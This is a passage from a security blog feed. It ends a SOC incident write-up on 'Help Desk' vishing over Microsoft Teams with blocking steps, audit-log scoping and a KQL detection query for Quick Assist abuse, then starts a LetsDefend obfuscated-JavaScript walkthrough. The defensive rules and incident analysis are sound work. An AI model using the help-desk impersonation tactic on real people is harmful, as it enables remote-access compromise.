here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Teams Admin Center&lt;/em&gt; → &lt;em&gt;External Collaboration&lt;/em&gt; → &lt;em&gt;External Access&lt;/em&gt; → &lt;em&gt;Organizational settings&lt;/em&gt; → &lt;strong&gt;&lt;em&gt;Block specific users from communicating with people in my organization&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1500px&#34; data-flex-grow=&#34;625&#34; height=&#34;128&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/stumblesoc-blog-stories-the-teams-call-compromise/6e110fe747777351abc7be2da98d427a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-office-365/tenant-allow-block-list-teams-domains-configure&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Block domains and addresses in Microsoft Teams using the Tenant Allow/Block List — Microsoft Defender for Office 365 | Microsoft Learn&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; For this to work, the &lt;strong&gt;&lt;em&gt;Allow or block external domain&lt;/em&gt;&lt;/strong&gt; option must be set to either &lt;strong&gt;&lt;em&gt;Allow all external domains&lt;/em&gt;&lt;/strong&gt; or &lt;strong&gt;&lt;em&gt;Block only specific external domains.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now the fun part: Traditionally, maintaining this list required a &lt;em&gt;Teams&lt;/em&gt; admin role. To better support least privilege, Microsoft added the option to allow the security team to manage blocked users and domains directly through &lt;em&gt;Defender&lt;/em&gt;. Enabling &amp;ldquo;&lt;strong&gt;&lt;em&gt;Allow my security team to manage blocked domains and blocked users&lt;/em&gt;&lt;/strong&gt;&amp;ldquo;hands day-to-day action to the people already doing triage.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3200px&#34; data-flex-grow=&#34;1333&#34; height=&#34;60&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/stumblesoc-blog-stories-the-teams-call-compromise/dd0a8f05c13df3376700219bde1b5b07_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once that setting is flipped, security teams can manage blocked &lt;em&gt;Teams&lt;/em&gt; senders directly from the &lt;em&gt;Defender&lt;/em&gt; portal using the &lt;em&gt;Tenant Allow/Block List&lt;/em&gt;, without jumping between consoles or roles. It&amp;rsquo;s not exciting, but it reduces response time, and in incidents like these, that&amp;rsquo;s important.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;582px&#34; data-flex-grow=&#34;242&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/stumblesoc-blog-stories-the-teams-call-compromise/0a53a9e814ef4c240e70e44eafad54d3_MD5.png&#34; width=&#34;607&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;pull-audit-logs-to-confirm-who-else-received-acall&#34;&gt;Pull Audit Logs to Confirm Who Else Received a Call&#xA;&lt;/h3&gt;&lt;p&gt;Going back to the stories of the two Adams, one important step after blocking the contact was figuring out who else they might have reached. Scoping impact matters, and in this case we needed to understand whether this activity stopped with a single user or if others had also been contacted.&lt;/p&gt;&#xA;&lt;p&gt;At the time of writing, this is a bit more painful than it should be. There isn&amp;rsquo;t a relevant &lt;em&gt;Advanced Hunting&lt;/em&gt; table available for &lt;em&gt;Teams&lt;/em&gt; calls yet.&lt;/p&gt;&#xA;&lt;p&gt;I emphasize &lt;em&gt;yet&lt;/em&gt; because Microsoft recently announced in a blog post, &amp;ldquo;From Impersonation Calls to Transparent Reporting: Defending the New Front Door of Attacks&amp;quot;that this gap is closing. Among several updates, Microsoft highlighted that &amp;ldquo;&lt;em&gt;Microsoft Defender has turned Teams calling from a blind spot into a first-class SOC signal, including the ability to investigate Teams calling activity at scale via Advanced Hunting&lt;/em&gt;.&amp;rdquo; Hooray!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://techcommunity.microsoft.com/blog/microsoftdefenderforoffice365blog/from-impersonation-calls-to-transparent-reporting-defending-the-new-front-door-o/4503050&#34;  title=&#34;https://techcommunity.microsoft.com/blog/microsoftdefenderforoffice365blog/from-impersonation-calls-to-transparent-reporting-defending-the-new-front-door-o/4503050&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;From Impersonation Calls to Transparent Reporting: Defending the New Front Door of Attacks |&amp;hellip;&lt;/strong&gt;&#xA;_Email is still a major entry point-but it&amp;rsquo;s no longer the only one that matters. Today&amp;rsquo;s attackers are increasingly&amp;hellip;_techcommunity.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://techcommunity.microsoft.com/blog/microsoftdefenderforoffice365blog/from-impersonation-calls-to-transparent-reporting-defending-the-new-front-door-o/4503050&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s a welcome change, but it didn&amp;rsquo;t help us when we actually needed to identify who else the Adams had contacted. So for this incident, and for this blog, we had to fall back to what&amp;rsquo;s available today and leverage the &lt;em&gt;Unified Audit Log&lt;/em&gt; instead.&lt;/p&gt;&#xA;&lt;p&gt;From a &lt;strong&gt;Defender&lt;/strong&gt; perspective, this lives under:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Microsoft Defender&lt;/em&gt; → &lt;em&gt;System&lt;/em&gt; → &lt;em&gt;Audit&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/purview/audit-log-activities#teams-activities&#34;  title=&#34;https://learn.microsoft.com/en-us/purview/audit-log-activities#teams-activities&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Audit log activities&lt;/strong&gt;&#xA;_Discover how to monitor and investigate activities in Microsoft 365 with the unified audit log. Search for specific&amp;hellip;_learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/purview/audit-log-activities#teams-activities&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To scope activity, we might structure the search using the following parameters:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Workload&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;MicrosoftTeams&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Activities&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Operation&lt;/em&gt;: &lt;code&gt;CallParticipantDetail&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Friendly name&lt;/em&gt;: &lt;em&gt;Added information about call participants&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Operation&lt;/em&gt;: &lt;code&gt;ChatCreated&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Friendly name&lt;/em&gt;: &lt;em&gt;Created a chat&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Keyword search (optional)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The attacker&amp;rsquo;s email address, often from a &lt;code&gt;[.]onmicrosoft.com&lt;/code&gt; domain, if it was reported by the user or visible in their &lt;em&gt;Teams&lt;/em&gt; client&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;884px&#34; data-flex-grow=&#34;368&#34; height=&#34;217&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/stumblesoc-blog-stories-the-teams-call-compromise/764e3b408ca9434403dcb628477e4642_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, what&amp;rsquo;s the downside with this approach? Lag.&lt;/p&gt;&#xA;&lt;p&gt;If you&amp;rsquo;ve spent any time in the Microsoft ecosystem, this won&amp;rsquo;t be surprising. There&amp;rsquo;s a delay between when an event occurs and when it becomes searchable in the audit log. Microsoft is fairly explicit about this, noting that for core services like &lt;em&gt;Teams&lt;/em&gt;, &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/purview/audit-search#:~:text=Microsoft%20doesn%27t%20guarantee%20a,commit%20to%20a%20specific%20time.&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;audit records typically become available 60 to 90 minutes after the event,&lt;/a&gt;&amp;rdquo;&#xA;and sometimes longer.&lt;/p&gt;&#xA;&lt;p&gt;Still, it&amp;rsquo;s better than nothing. In these cases, it helped confirm that only the original reporter and the second victim had any contact with the second Adam.&lt;/p&gt;&#xA;&lt;p&gt;The takeaway here is simple. Knowing which logs exist, where to find them, and what their limitations are is critical when responding to an incident. Even imperfect visibility can make the difference between guessing and confidently scoping the impact.&lt;/p&gt;&#xA;&lt;h3 id=&#34;disable--detect-quickassist&#34;&gt;Disable &amp;amp; Detect Quick Assist:&#xA;&lt;/h3&gt;&lt;p&gt;The last recommendation for this piece is to better control and monitor the remote management and support tools in your environment. I&amp;rsquo;m not going to deep-dive into RMM tooling as a whole here, since this varies a lot by organization, tooling, and maturity. That said, understanding which tools are normal and approved, which aren&amp;rsquo;t, and which are commonly abused by threat actors can go a long way toward detecting potentially malicious activity.&lt;/p&gt;&#xA;&lt;p&gt;In this story, &lt;em&gt;Quick Assist&lt;/em&gt; was already blocked, but it didn&amp;rsquo;t raise an alert (learning moment #1). The second RMM tool, &lt;em&gt;Zoho Assist&lt;/em&gt;, wasn&amp;rsquo;t blocked at all (learning moment #2). That combination presented an opportunity to reassess how RMM tools were controlled overall, which directly led to successfully blocking &lt;em&gt;AnyDesk&lt;/em&gt; during the second incident. It also highlighted something more interesting. Even a blocked tool like &lt;em&gt;Quick Assist&lt;/em&gt; can still provide detection value and act as a kind of canary in the coal mine.&lt;/p&gt;&#xA;&lt;p&gt;So rather than trying to solve RMM tooling holistically in this post, let&amp;rsquo;s focus on that first learning moment: &lt;em&gt;Quick Assist&lt;/em&gt;. It&amp;rsquo;s built into Windows, frequently abused in social engineering attacks, and a good place to impose some friction.&lt;/p&gt;&#xA;&lt;p&gt;In a &lt;strong&gt;Microsoft Defender for Endpoint&lt;/strong&gt; environment, Microsoft&amp;rsquo;s own &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/client-management/client-tools/quick-assist#disable-quick-assist-within-your-organization&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;guidance&lt;/a&gt; recommends disabling &lt;em&gt;Quick Assist&lt;/em&gt; by blocking its service endpoint using a URL-based indicator. Specifically, this means blocking traffic to:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://remoteassistance.support.services.microsoft.com&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://remoteassistance.support.services.microsoft.com&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/client-management/client-tools/quick-assist#disable-quick-assist-within-your-organization&#34;  title=&#34;https://learn.microsoft.com/en-us/windows/client-management/client-tools/quick-assist#disable-quick-assist-within-your-organization&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Use Quick Assist to help users&lt;/strong&gt;&#xA;_Learn how IT Pros can use Quick Assist to help users._learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/client-management/client-tools/quick-assist#disable-quick-assist-within-your-organization&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;While this approach won&amp;rsquo;t uninstall &lt;em&gt;Quick Assist&lt;/em&gt; (which is also a valid option), it prevents the application from establishing a session. More importantly for us, it preserves telemetry. That detection signal turned out to be really valuable compared to simply removing the tool entirely.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/client-management/client-tools/quick-assist#disable-quick-assist&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;NOTE:&lt;/strong&gt;&lt;/a&gt; &amp;ldquo;Blocking the endpoint will disrupt the functionality of &lt;strong&gt;&lt;em&gt;Remote Help&lt;/em&gt;&lt;/strong&gt;, as it relies on this endpoint for operation.&amp;rdquo;&lt;/p&gt;&#xA;&lt;h4 id=&#34;detection-rules&#34;&gt;Detection Rules&#xA;&lt;/h4&gt;&lt;p&gt;Blocking alone is helpful, but pairing it with detection gives you early warning.&lt;/p&gt;&#xA;&lt;p&gt;After disabling &lt;em&gt;Quick Assist&lt;/em&gt; via a &lt;strong&gt;Microsoft Defender for Endpoint&lt;/strong&gt; URL block indicator, creating a custom detection can help tip you off to suspicious behavior. Sure, you might see the occasional fat-finger hotkey / accidental launch, but you might also catch the start of a vishing attack before it goes any further. That trade-off is usually worth it.&lt;/p&gt;&#xA;&lt;p&gt;You might be wondering why not just check the &lt;em&gt;Create alert&lt;/em&gt; option when configuring the indicator. In my experience, that doesn&amp;rsquo;t work reliably enough to depend on. Instead, creating a custom detection rule through &lt;em&gt;Advanced Hunting&lt;/em&gt; has been far more consistent.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-xdr/custom-detection-rules#1-prepare-the-query&#34;  title=&#34;https://learn.microsoft.com/en-us/defender-xdr/custom-detection-rules#1-prepare-the-query&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Create custom detection rules in Microsoft Defender XDR - Microsoft Defender XDR&lt;/strong&gt;&#xA;_Learn how to create custom detections rules based on advanced hunting queries._learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-xdr/custom-detection-rules#1-prepare-the-query&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Below is a simple example query that looks for blocked connection attempts to the &lt;em&gt;Quick Assist&lt;/em&gt; endpoint, where the initiating process contains &lt;code&gt;quickassist.exe&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &#xA;    &lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;DeviceEvents &#xA;| where ActionType == &amp;quot;ExploitGuardNetworkProtectionBlocked&amp;quot; &#xA;| where RemoteUrl contains &amp;quot;remoteassistance.support.services.microsoft.com&amp;quot; &#xA;| where InitiatingProcessCommandLine has &amp;quot;quickassist.exe&amp;quot; &#xA;| summarize arg_max(Timestamp, *) by DeviceId &#xA;| project Timestamp, DeviceId, ReportId, DeviceName, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, &#x9;ActionType&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Once the query is in place, you can use the &lt;em&gt;Create detection rule&lt;/em&gt; option directly from the KQL window, fill in the required fields, and set an appropriate rule frequency. This gives you visibility into when &lt;em&gt;Quick Assist&lt;/em&gt; is being launched (or abused) in your environment, even though the session itself never succeeds.&lt;/p&gt;&#xA;&lt;p&gt;In my experience, the value of being tipped off to a potential vishing attempt far outweighs the small number of false positives this kind of detection generates.&lt;/p&gt;&#xA;&lt;h3 id=&#34;key-takeaways&#34;&gt;Key Takeaways&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s wrap this up.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;m always a little surprised by how easy it is to gain a victim&amp;rsquo;s trust with something as simple as a display name. There&amp;rsquo;s nothing particularly fancy going on here. Just &amp;ldquo;Help Desk&amp;quot;calling at the right moment and sounding plausible enough to gain remote access.&lt;/p&gt;&#xA;&lt;p&gt;Looking back at the two Adams, a few things stand out.&lt;/p&gt;&#xA;&lt;p&gt;First, &lt;strong&gt;maximize the tools you already have, and keep up with how they evolve&lt;/strong&gt;. &lt;em&gt;Microsoft Teams&lt;/em&gt; isn&amp;rsquo;t just messaging and meetings anymore. It&amp;rsquo;s an attack surface, and it&amp;rsquo;s always changing. For security operations, capabilities like user reporting, tenant-level blocking, and improved visibility into call activity didn&amp;rsquo;t meaningfully exist not that long ago. Staying current on what your platform can actually do matters, especially when attackers are happy to take advantage of whatever is least defended.&lt;/p&gt;&#xA;&lt;p&gt;Second, &lt;strong&gt;training only works if users are empowered to act&lt;/strong&gt;. In both incidents, the users weren&amp;rsquo;t reckless. They were trying to be helpful, and they were fooled. The difference the second time around wasn&amp;rsquo;t intuition, it was having a simple, familiar way to report something that felt off. If you want users to be part of the defense, make the response path easy and predictable so they don&amp;rsquo;t have to guess what to do under pressure.&lt;/p&gt;&#xA;&lt;p&gt;Third, &lt;strong&gt;be honest about what didn&amp;rsquo;t go as planned and improve it&lt;/strong&gt;. This part is important. In the first incident, &lt;em&gt;Quick Assist&lt;/em&gt; was blocked, but silent. That wasn&amp;rsquo;t a failure, but it was a missed opportunity. Instead of ignoring it, we adjusted and turned that quiet block event into usable signal the next time around.&lt;/p&gt;&#xA;&lt;p&gt;Finally, &lt;strong&gt;don&amp;rsquo;t wait for perfect detection from a single tool&lt;/strong&gt;. No one alert told this story end to end. Some signal came from the IPS. Some came from audit logs. Some came from users. Each piece on its own was incomplete, but together it was enough to understand scope, confirm access, and respond.&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s really the point of this whole post. Defending against these attacks is hard. You need visibility where you can get it, the knowledge to act on what you see, and a willingness to close the gaps when you stumble.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/stumblesoc-blog-stories-the-teams-call-compromise/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;references&#34;&gt;References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Security Operations Guide for Teams protection in Microsoft Defender for Office 365:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-office-365/mdo-support-teams-sec-ops-guide#enable-secops-to-hunt-for-threats-and-detections-in-microsoft-teams&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/defender-office-365/mdo-support-teams-sec-ops-guide#enable-secops-to-hunt-for-threats-and-detections-in-microsoft-teams&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — User reported settings in Microsoft Teams:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-office-365/submissions-teams#turn-off-or-turn-on-user-reporting-of-teams-messages-in-the-defender-portal&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/defender-office-365/submissions-teams#turn-off-or-turn-on-user-reporting-of-teams-messages-in-the-defender-portal&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — End user reporting for Teams Calling (Preview):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/microsoftteams/end-user-reporting-teams-calling&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/microsoftteams/end-user-reporting-teams-calling&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Cynet — &amp;ldquo;Emerging Threat: Microsoft Teams Vishing Campaign Continues&amp;rdquo;&#xA;:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.cynet.com/blog/emerging-threat-microsoft-teams-vishing-campaign-continues/#:~:text=The%20attacker%20contacts%20the%20targeted,to%20Office%20365%20for%20Business&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.cynet.com/blog/emerging-threat-microsoft-teams-vishing-campaign-continues/#:~:text=The%20attacker%20contacts%20the%20targeted,to%20Office%20365%20for%20Business&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Block domains and addresses in Microsoft Teams using the Tenant Allow/Block List:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-office-365/tenant-allow-block-list-teams-domains-configure&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/defender-office-365/tenant-allow-block-list-teams-domains-configure&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;From Impersonation Calls to Transparent Reporting: Defending the New Front Door of Attacks:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://techcommunity.microsoft.com/blog/microsoftdefenderforoffice365blog/from-impersonation-calls-to-transparent-reporting-defending-the-new-front-door-o/4503050&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://techcommunity.microsoft.com/blog/microsoftdefenderforoffice365blog/from-impersonation-calls-to-transparent-reporting-defending-the-new-front-door-o/4503050&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Search the audit log:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/purview/audit-search#:~:text=Microsoft%20doesn%27t%20guarantee%20a,commit%20to%20a%20specific%20time&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/purview/audit-search#:~:text=Microsoft%20doesn&amp;rsquo;t%20guarantee%20a,commit%20to%20a%20specific%20time&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Audit Log Activities (Teams):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/purview/audit-log-activities#teams-activities&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/purview/audit-log-activities#teams-activities&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Disable Quick Assist within your organization:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/client-management/client-tools/quick-assist#disable-quick-assist-within-your-organization&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/client-management/client-tools/quick-assist#disable-quick-assist-within-your-organization&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Create custom detection rules:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-xdr/custom-detection-rules&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/defender-xdr/custom-detection-rules&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Software — Quick Assist (S1209):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S1209/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S1209/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend  — Obfuscated JavaScript Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/</link>
            <pubDate>Sun, 12 Apr 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; alt=&#34;Featured image of post LetsDefend  — Obfuscated JavaScript Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend-obfuscated-javascript-challenge-walkthrough&#34;&gt;LetsDefend: Obfuscated JavaScript Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;malicious-javascript-analysis-identifying-obfuscation-wmi-usage-and-network-based-payloadstaging&#34;&gt;Malicious JavaScript Analysis: Identifying Obfuscation, WMI Usage, and Network-Based Payload Staging&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/obfuscated-javascript&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/obfuscated-javascript&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/obfuscated-javascript&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Obfuscated JavaScript&lt;/strong&gt;&lt;/a&gt; blue team challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This one drops us right into the world of script-based malware where attackers lean on obfuscation to complicate analysis.&lt;/p&gt;&#xA;&lt;p&gt;In this challenge, we&amp;rsquo;re stepping into the role of a cybersecurity analyst responding to reports of strange behavior across internal web applications. What initially looks like routine troubleshooting quickly turns into something more concerning when we discover that several critical JavaScript files have been aggressively obfuscated.&lt;/p&gt;&#xA;&lt;p&gt;Our mission is fairly straightforward but tricky in practice. We need to analyze the obfuscated script, identify the techniques used to hide its behavior, and determine whether it contains malicious code. With no automated tooling and no internet access, we&amp;rsquo;re forced to rely on careful inspection, pattern matching, and a methodical approach using nothing more than the terminal and a text editor. It&amp;rsquo;s not the sexiest approach, but it works.&lt;/p&gt;&#xA;&lt;p&gt;Along the way, we&amp;rsquo;ll uncover how the script leverages &lt;strong&gt;ActiveX&lt;/strong&gt;, &lt;strong&gt;WMI&lt;/strong&gt;, and network drive mapping to enumerate the host environment, stage an external payload, and clean up after itself. I&amp;rsquo;ll walk through each step, explaining not just what we find, but why it matters from a defensive perspective. The goal isn&amp;rsquo;t just to solve the challenge, but to help contextualize what we find. Let&amp;rsquo;s go!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if this walkthrough helps you level up your JavaScript analysis skills, gets you past a stumbling block, or simply gives you another angle on script-based malware, consider following along for more weekly deep dives.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Imagine you are a cybersecurity analyst at a mid-sized tech company. One morning, you receive multiple reports from employees that their web applications are behaving erratically. Upon investigation, you discover that the source code of several critical JavaScript files has been heavily obfuscated, making it difficult to understand and troubleshoot the code. This obfuscation includes 